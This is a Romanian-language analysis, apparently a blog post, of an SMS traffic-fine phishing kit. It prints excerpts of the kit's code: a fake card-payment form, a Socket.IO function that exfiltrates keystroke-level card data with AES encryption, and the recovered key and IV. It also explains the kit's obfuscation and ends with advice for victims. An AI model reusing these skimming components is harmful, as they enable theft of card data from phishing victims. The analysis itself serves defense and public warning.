Dupa ce am analizat prima parte in care ni se aminteste despre o amenda rutiera care trebuie platita urgent, acum in alt mesaj de tip SMS suntem informati ca vom fi executati silit pentru neplata.

Unde avem urmatoarele aspecte importante:

  • Numarul de telefon schimbat, dar utilizand acelasi prefix
  • Linkul e schimbat, observam ceva diferit de data asta

Cand intram in pagina, avem astfel:

O prima pagina in care avem de verificat amenzi rutiere, si ni ce cere sa verificam numarul de inmatriculare.

Unde avem cod ofuscat la greu de tipul:

        }, B(a.value), 3)]), g("button", {
            id: "vf-submit",
            type: "submit",
            class: C(["vf-btn vf-btn-primary vf-press", {
                "is-loading": r.value
            }]),
            disabled: i.value,
            "aria-busy": r.value
        }

Vedem conexiunea de websocket insa se trimit doar pachete de heartbeat.

Pe langa mesajele acestea mai avem si mesaje encriptate:

function Se(e) {
    Ne && Ne.emit("message", AES.encrypt(JSON.stringify(e), Te, {
        iv: Oe,
        mode: AES.mode.CBC,
        padding: AES.pad.Pkcs7
    }).toString())
}

Insa numarul de inmatriculare nu este trimis absolut deloc, semn ca nu ii intereseaza acel aspect.

La apasarea submit si schimbarea paginii avem mesajele:

Aplican un mecanism de decriptare pe care il voi explica mai jos avem:

Mesaj #1: {"event":"changleField","data":{"actionType":"adeudos"}}
Mesaj #2: {"event":"changleField","data":{ partial... "}}

„Adeudos” este cuvânt spaniol care înseamnă „datorii” / „obligații de plată”. E folosit în țări vorbitoare de spaniolă (Mexic, Spania, Chile, Argentina, etc.) pentru servicii de plată a taxelor/amenzilor.

Ceea ce ne spune ceva enorm:

Kit-ul a fost original construit pentru o piață vorbitoare de spaniolă (cel mai probabil Mexic sau Chile, având în vedere și clasele CSS chile-* din varianta anterioară), iar atacatorii doar au schimbat textul de pe interfață în română fără să rescrie complet codul intern.

In a doua pagina avem:

Pe websocket:

{"event":"changleField","data":{"router":"支付页"}}

Inseamna pagina de plata in chineza traditionala.

Unde sunt anumite chestiuni important de mentiona:

  • Data contraventiei este dinamica pentru a contura ideea unei amenzi din trecut:
       }, [g("span", null, "Data contravenției")], -1)), g("span", Rd, B(o.value), 1)]), g("li", Td, [a[2] || (a[2] = g("span", {
            class: "vf-details__key"
        }
  • Data scandentei e la fel, dinamica pentru a contura ideea ca victima are o data limita pana e executata silit:
        }, [g("span", null, "Data scadenței")], -1)), g("span", Od, B(s.value), 1)]), a[4] || (a[4] = D('<li class="vf-details__row" data-v-e3f14172><span class="vf-details__key" data-v-e3f14172><span data-v-e3f14172>Stare</span></span><span class="vf-details__val" data-v-e3f14172><span class="vf-tag vf-tag--danger vf-tag--sm" data-v-e3f14172><span class="vf-tag__dot" data-v-e3f14172></span><span data-v-e3f14172>În așteptarea plății</span></span></span></li>', 1))]), a[7] || (a[7] = D('<div class="vf-note" data-v-e3f14172><svg class="vf-note__icon" width="14" height="14" viewBox="0 0 14 14" fill="none" data-v-e3f14172><circle cx="7" cy="7" r="6" stroke="currentColor" stroke-width="1.2" data-v-e3f14172></circle><path d="M7 4v3.5M7 9.5v.5" stroke="currentColor" stroke-width="1.2" stroke-linecap="round" data-v-e3f14172></path></svg><span class="vf-note__text" data-v-e3f14172><span data-v-e3f14172> Conform Legii nr. 18.456 și decretului de aplicare, amenzile neachitate pot genera penalități de întârziere. </span></span></div>', 1)), g("div", {
            class: "vf-actions"
        }

Pe pagina de plata:

Observam ca au imbunatatit acel form unde victima isi introduce datele bancare:

<form data-v-13861f9c="" data-v-40a241c3="" class="form-payment-container pv-payment-form"><div data-v-13861f9c="" class="form-payment-header"></div><div data-v-13861f9c="" class="form-payment-body"><div data-v-13861f9c="" class="form-row"><div data-v-d037920b="" data-v-13861f9c="" class="f2xq9pb7wm f2xq9pb7wm-v3t form-field" autocomplete="cc-name"><label data-v-d037920b="" class="b5yt4nm1kz"><span data-v-d037920b="" class="b5yt4nm1kz-k9s">Titularul cardului</span></label><div data-v-d037920b="" class="z3dw7hq8rx"><div data-v-d037920b="" class="p6jv2kx4tq"><input data-v-d037920b="" class="l9rf5wb3md" autocomplete="cc-name" placeholder="Așa cum apare pe card" inputmode="text"><div data-v-d037920b="" class="t2hc8md6fg"></div></div><!----></div></div></div><div data-v-13861f9c="" class="form-row"><div data-v-13861f9c="" class="form-field-wrapper"><div data-v-d037920b="" data-v-13861f9c="" class="f2xq9pb7wm f2xq9pb7wm-v3t form-field" autocomplete="cc-number" maxlength="19" placeholder="0000 0000 0000 0000"><label data-v-d037920b="" class="b5yt4nm1kz"><span data-v-d037920b="" class="b5yt4nm1kz-k9s">Numărul cardului</span></label><div data-v-d037920b="" class="z3dw7hq8rx"><div data-v-d037920b="" class="p6jv2kx4tq"><input data-v-d037920b="" class="l9rf5wb3md" autocomplete="cc-number" maxlength="19" placeholder="0000 0000 0000 0000" inputmode="numeric"><div data-v-d037920b="" class="t2hc8md6fg"></div></div><!----></div></div><!----></div></div><div data-v-13861f9c="" class="form-row form-row-group"><div data-v-d037920b="" data-v-13861f9c="" class="f2xq9pb7wm f2xq9pb7wm-v3t form-field" autocomplete="cc-exp" maxlength="5" placeholder="MM/YY"><label data-v-d037920b="" class="b5yt4nm1kz"><span data-v-d037920b="" class="b5yt4nm1kz-k9s">Data expirării</span></label><div data-v-d037920b="" class="z3dw7hq8rx"><div data-v-d037920b="" class="p6jv2kx4tq"><input data-v-d037920b="" class="l9rf5wb3md" autocomplete="cc-exp" maxlength="5" placeholder="MM/AA" inputmode="numeric"><div data-v-d037920b="" class="t2hc8md6fg"></div></div><!----></div></div><div data-v-d037920b="" data-v-13861f9c="" class="f2xq9pb7wm f2xq9pb7wm-v3t form-field" autocomplete="cc-csc" maxlength="4" placeholder="123"><label data-v-d037920b="" class="b5yt4nm1kz"><span data-v-d037920b="" class="b5yt4nm1kz-k9s">CVV</span><span class="pv-lbl-hint"><span>3-4 cifre</span></span></label><div data-v-d037920b="" class="z3dw7hq8rx"><div data-v-d037920b="" class="p6jv2kx4tq"><input data-v-d037920b="" class="l9rf5wb3md" autocomplete="cc-csc" maxlength="4" placeholder="•••" inputmode="numeric"><div data-v-d037920b="" class="t2hc8md6fg"></div></div><!----></div></div></div></div><div data-v-13861f9c="" class="form-payment-footer"><button data-v-40a241c3="" type="submit" class="vf-btn vf-btn-primary vf-press pv-submit" id="vf-submit"><svg data-v-40a241c3="" width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><rect data-v-40a241c3="" x="3" y="11" width="18" height="11" rx="2" ry="2"></rect><path data-v-40a241c3="" d="M7 11V7a5 5 0 0 1 10 0v4"></path></svg><span data-v-40a241c3="">Plătește </span><span data-v-40a241c3="" class="vf-tnum">420,00lei</span></button><div data-v-40a241c3="" class="pv-ssl"><svg data-v-40a241c3="" width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path data-v-40a241c3="" d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"></path></svg><span data-v-40a241c3="" class="pv-ssl__tag"><span data-v-40a241c3="">SSL</span></span><span data-v-40a241c3="" class="pv-ssl__txt"><span data-v-40a241c3="">Conexiune criptată · Datele dumneavoastră sunt protejate și nu sunt stocate.</span></span></div></div></form>

Regasim exact elementele care fac autocomplete/autofill in browsere la datele cardurilor salvate

Si aveam si cireasa de pe tort:

La fiecare tasta apasa pe un input din pagina de plata ei vad tot.

{"event":"changleField","data":{"cardNumber":"2223 0031 2200 3222"}}

Si al doilea mesaj decriptat:

{"event":"notice","data":"enterCardNumber"}

Ne arata doua evenimente majore. Primul mesaj simbolizeaza faptul ca toate datele de pe card ajung in timp real o data tastate in input la atacatori. Si al doilea mesaj ii atentioneaza pe atacatori ca victima e pe cale sa treaca la pasul de OTP.

Encriptarea mesajelor pe WebSocket

Atacatorii vor să trimită datele tale la server, dar fără ca un cineva curios sa poata vedea ce se intampla cu adevarat. Ei encripteaza mesajele si le trimit pe prima conexiune de websocket deschisa cand victima intra pe pagina, aceea ramane deschisa pe tot parcursul si nu se mai fac alte apeluri HTTP.

Cele 2 straturi

Folosesc două mecanisme separate care lucrează împreună. Niciunul singur n-ar fi suficient — împreună elimină majoritatea cercetătorilor.

Stratul 1 — Ofuscarea codului

Ascunde codul JavaScript ca să nu poată fi citit ușor. În loc să scrie CryptoJS.AES.encrypt(...), atacatorii scriu $.AES[Ee(193) + "ypt"](...). Cuvintele importante ("encrypt", "Utf8", "parse", "message") sunt înlocuite cu apeluri de funcție care construiesc string-urile dintr-un array de date encodate plus un mecanism de rotație matematică.

Stratul 2 — Encriptarea AES a datelor

Ascunde conținutul mesajelor trimise prin WebSocket. Fiecare mesaj (de exemplu {"cardNumber":"4532..."}) e criptat cu AES-128-CBC folosind o cheie și un IV fixe (ZQMWLSPXJRDHKTNV și YFBCUENAGPQLXJWR). Rezultatul e un string Base64 ininteligibil care pleacă pe rețea.

Diferența esențială: stratul 1 ascunde codul programului și e aplicat o singură dată la build. Stratul 2 ascunde datele care pleacă și e aplicat în timp real, la fiecare mesaj.


Funcțiile cheie din cod

Stratul 1 — ofuscare cod

Trei componente lucrează împreună:

qe() (linia 466) returnează array-ul de string-uri encodate:

function qe() {
    const e = ["zxjYBW", "DgLVBG", "Bg9N", "DhjHyW", ...];
    return (qe = function() { return e; })();
}

ke() (linia 469) primește un index (ex: ke(211)), îl caută în array-ul qe(), decodează string-ul și returnează cuvântul real (ex: "JRDH"). Aliasurile sunt we și Ee.

Loop-ul de rotație (liniile 472-489) rotește array-ul qe() până când satisface o ecuație matematică (sumă = 523302). În cazul nostru, alinierea vine după 51 de iterații.

Stratul 2 — encriptare AES

Te și Oe (liniile 694-695) sunt cheia și IV-ul în format binar:

Te = $.enc.Utf8.parse("ZQMWLSPXJRDHKTNV")
Oe = $.enc.Utf8.parse("YFBCUENAGPQLXJWR")

Se() (linia 546) primește un obiect, îl serializează în JSON, îl criptează cu AES-CBC, îl convertește în Base64 și-l trimite prin Socket.IO:

function Se(e) {
    Ne.emit("message", 
        CryptoJS.AES.encrypt(JSON.stringify(e), Te, {
            iv: Oe,
            mode: CryptoJS.mode.CBC,
            padding: CryptoJS.pad.Pkcs7
        }).toString()
    )
}

De ce stratul 2 are nevoie de stratul 1

Cele două nu sunt sisteme paralele independente — sunt construite intenționat să depindă unul de altul.

Liniile care construiesc cheia:

const Pe = "ZQMWLSPX" + Ee(211) + "KTNV"
  , Re = "YFBC" + we(198) + "GPQLXJWR"
  , Te = $.enc[we(166)].parse(Pe)
  , Oe = $.enc.Utf8[Ee(194) + "e"](Re);

Fiecare apel Ee(211), we(198), we(166), Ee(194) vine din stratul 1. Returnează respectiv "JRDH", "UENA", "Utf8" și "pars" — bucățile lipsă din cheie, IV și numele funcțiilor CryptoJS. Fără stratul 1, niciun apel nu funcționează.

Există o variantă simplă pe care atacatorii n-au folosit-o:

const Pe = "ZQMWLSPXJRDHKTNV"
const Te = CryptoJS.enc.Utf8.parse(Pe)

Aici un grep pentru "ZQMWLSPXJRDHKTNV" ar găsi cheia instant. Cuvintele CryptoJS.enc.Utf8.parse ar fi vizibile direct și ar trăda existența criptării. Ca să evite asta, au împletit cele două straturi.

Acum:

  • grep "ZQMWLSPXJRDHKTNV" → nimic
  • grep "Utf8" → nimic (e ascuns în we(166))
  • grep "CryptoJS" → nimic (e $ în cod)

Analogia cu un seif

Imaginează-ți un seif (stratul 2) a cărui combinație nu e scrisă pe o hârtie, ci e ascunsă într-o carte cifrată (stratul 1). Combinația e ZQMWLSPXJRDHKTNV, cartea cifrată e array-ul qe() cu rotația și decodorul ke(), iar cheia cărții e ecuația cu suma 523302.

Ca să deschizi seiful, trebuie întâi să citești cartea cifrată. Nu poți sări direct la seif — combinația lui pur și simplu nu există nicăieri ca text plain. În cod, fiecare apel Ee(211), we(198) e literal „caut pagina cărții cifrate ca să aflu o bucată din combinația seifului”.

Ordinea obligatorie de spargere

Întâi sparge stratul 1: identifică funcția ke și aliasurile, decodează array-ul qe(), simulează rotația de 51 de iterații. Abia după asta poate evalua Ee(211) și să afle "JRDH".

Doar atunci poate recupera stratul 2: concatenează "ZQMWLSPX" + "JRDH" + "KTNV" pentru cheie și "YFBC" + "UENA" + "GPQLXJWR" pentru IV. Cu cheia și IV-ul, AES-CBC devine reversibil și toate payload-urile Base64 capturate devin JSON plain.

Nu poți sări peste pasul 1. Fără el, valorile cheii și IV-ului efectiv nu există în formă utilizabilă nici măcar în memoria browser-ului — sunt asamblate la runtime din rezultatele funcțiilor we și Ee.

Pe scurt

Stratul 1 stochează ascuns componentele cheii. Stratul 2 își asamblează cheia apelând funcții din stratul 1. La fiecare execuție, stratul 1 rulează primul (rotație + decodare), apoi stratul 2 își construiește cheia, apoi criptarea poate începe.

Această dependență e ceea ce transformă schema din „două bariere paralele” în „două bariere în serie” — mult mai greu de spart, pentru că nu poți alege să ataci direct partea mai slabă. Stratul 1 e gardianul stratului 2.

Prin această a doua parte a atacului, atacatorii vor să se ascundă mai mult, să fie mai greu pentru investigatori să înțeleagă ce se petrece cu datele victimelor. Modul de operare este strict același, targetul lor fiind datele de pe card și o eventuală posibilă tranzacție chiar în timp ce victima se află pe site-ul fals.

La fel ca in primul atac, ce recomandăm:

Dacă ai căzut victimă

În ordinea urgenței:

  1. Blochează cardul imediat din aplicația băncii.
  2. Verifică tranzacțiile ultimele 24h, inclusiv pe cele „în așteptare”.
  3. Raportează la DNSC prin 1911 sau pe pnrisc.dnsc.ro. Atașează URL-ul (ghiseul.my.id),
  4. Plângere la Poliție / DCCO dacă ai pagubă materială.
  5. Raportează domeniul la PANDI (registrarul .my.id) la abuse@pandi.id
  6. Raportează la Google Safe Browsinghttps://safebrowsing.google.com/safebrowsing/report_phish/
  7. Schimbă parolele la conturile unde foloseai parole comune cu emailul de pe site.
  8. Atenție săptămânile următoare — vor urma încercări secundare („sunt de la departamentul de fraudă, am observat tranzacții suspecte…”). Tot acel tip de apel/SMS e următoarea etapă a atacului.